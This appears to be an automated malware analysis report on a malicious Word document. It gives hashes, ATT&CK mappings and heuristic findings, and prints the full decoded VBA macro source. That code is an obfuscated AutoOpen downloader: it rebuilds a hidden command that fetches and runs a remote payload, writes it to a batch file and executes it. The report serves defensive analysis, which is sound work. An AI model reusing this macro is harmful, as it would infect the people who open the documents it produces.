Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 975260f5ac2a9eb2…

MALICIOUS

Office (OLE)

122.5 KB Created: 2017-01-19 13:05:00 Authoring application: Microsoft Office Word First seen: 2017-04-25
MD5: 06483767db5276ae60337884e3ed4acc SHA-1: 98634d79b31dd11251c1d79ed99227488b6cfddf SHA-256: 975260f5ac2a9eb202f9ce5f58a8c5331a165a112b5d436979d06c45667e59e8
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that is triggered when the document is opened. This macro uses CreateObject to construct a path to a file in the user's public directory and writes content to it. It then attempts to execute a PowerShell command that downloads and executes a script from a remote URL. The macro's obfuscated nature and its intent to download and execute a second-stage payload indicate a downloader or droppper functionality.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    projecttortoise = gazeinvolve("nQe", "doE0", "nQeScdnQeoE0RInQepdoE0tiNdnQeoE0g.doE0")
    Set nhmbyarqrgzcgqe = CreateObject(projecttortoise & cpbaksknzxlndzzdvcc & dklqoiplempg)
    Set fmyzukudauoc = nhmbyarqrgzcgqe.GetSpecialFolder(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Dim cattlenurse As Object
    Public Sub AutoOpen()
    selectship = "&noMpMr5o_fLil9eK -ex_7e0c0uEt&iKoMn{p&_oXliEc0yB9L EUb29y2pMGassX X0q$0pUqaUtXhKE 5q=X& $e{nX&Ev:59t0XMeK0mL{Xp99 _+5_ X'LQ>\X' X+_q g2'9U3XX4.1>eq"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2843 bytes
SHA-256: 0aae8b034c0fd79f6efcf75e52b63a524327322cbf0951e3b22fb895406dc55d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function pairurge(arrestproperty, namepen)
dklqoiplempg = gazeinvolve("ueown", "erR", "mueownerRObeueownrRJEerRcueownterRueown")
cpbaksknzxlndzzdvcc = gazeinvolve("w02n", "ndD", "Fw02nilw02nEndDSyw02nsndDTEndD")
projecttortoise = gazeinvolve("nQe", "doE0", "nQeScdnQeoE0RInQepdoE0tiNdnQeoE0g.doE0")
Set nhmbyarqrgzcgqe = CreateObject(projecttortoise & cpbaksknzxlndzzdvcc & dklqoiplempg)
Set fmyzukudauoc = nhmbyarqrgzcgqe.GetSpecialFolder(2)
achieveburger = fmyzukudauoc & namepen
Set cratersoap = nhmbyarqrgzcgqe.CreateTextFile(achieveburger, True)
cratersoap.Write arrestproperty
cratersoap.Close
pairurge = achieveburger
End Function
Function gazeinvolve(zrroittkybihcymtv, dswwxxpeelfdwj, noveltrick)
arrestproperty = Replace(noveltrick, zrroittkybihcymtv, "")
gazeinvolve = Replace(arrestproperty, dswwxxpeelfdwj, "")
End Function

Attribute VB_Name = "Module1"
Dim cattlenurse As Object
Public Sub AutoOpen()
selectship = "&noMpMr5o_fLil9eK -ex_7e0c0uEt&iKoMn{p&_oXliEc0yB9L EUb29y2pMGassX X0q$0pUqaUtXhKE 5q=X& $e{nX&Ev:59t0XMeK0mL{Xp99 _+5_ X'LQ>\X' X+_q g2'9U3XX4.1>eq"
Set cattlenurse = CreateObject(ThisDocument.gazeinvolve("ueiO", "934", "wueiOs934ueiOCr93ueiO4ipt9ueiO34.93ueiO4ShueiOe934LueiOL934"))
againdebris = "xeX'Q9;$9Qw9eqbCL>lien&t =97 0LNXewQX-Obj9&ectX 79SQEyMsGX0tXe&mX.%Ne7U5t6Q.W1_QeBBbCqlqi66eU%n75qt;12X$&Mwe&b_9XC{li&qeUn9tLE7.gMDGo7w71n_l9oqgagqd"
pltmurmbgepcyx = "qSKTqA1RT67L @*gG* *_cMmBU%d&M.X9e>ExQeG*G%q *cmQ@Ed&g.5UeXxGe5L M/7cI9& 5poE_wersLheqlX9lU&._XeU9xeQ 1L-7BXwiL9n@9dMowsL&ty_lqe_X hIiUd#Qden UMX-X%"
jqzbmclxvme = "Fi1lMqe5(L'{hMqt#Xt1p:g/&&/QMEl1UMnqkUEdEa0Mdqm6i9nIEB.gXc2Lom%/{&eI7r{a0X/n5eEXw59.eq5x#5e2',9# $MpUXat&Lh9)6MX;XStaGQrQ&tL@E-_5PKr_oces>s16 $_pQa>tEQh*"
dripwhale = pltmurmbgepcyx & selectship & againdebris & jqzbmclxvme
inbbzbgessqorhot = dieselmistake(dripwhale, Len(dripwhale))
Dcattlenurse (inbbzbgessqorhot)
ActiveDocument.Shapes.SelectAll
Selection.Delete

End Sub
Sub Dcattlenurse(inbbzbgessqorhot)
 abvsbtlbaagxmo = ThisDocument.pairurge(inbbzbgessqorhot, "//4.ba" & "t")
 cattlenurse.Run abvsbtlbaagxmo
End Sub
Function dieselmistake(dripwhale, szvwtvbascvu)
glancemango = ""
yokmppdsdlgrbhj = ">XX9GqgX9qXU206KB%7QMQUE9IM9{L#0@L_&q515>E_&"
arrangesponsor = "*uiOP*"
For harshorder = 1 To szvwtvbascvu
busflat = Mid(dripwhale, harshorder, 1)
ekvcjrepkviqu = Replace(arrangesponsor, "uiOP", busflat)
If Not yokmppdsdlgrbhj Like ekvcjrepkviqu Then
glancemango = glancemango & busflat
End If
Next
dieselmistake = glancemango
End Function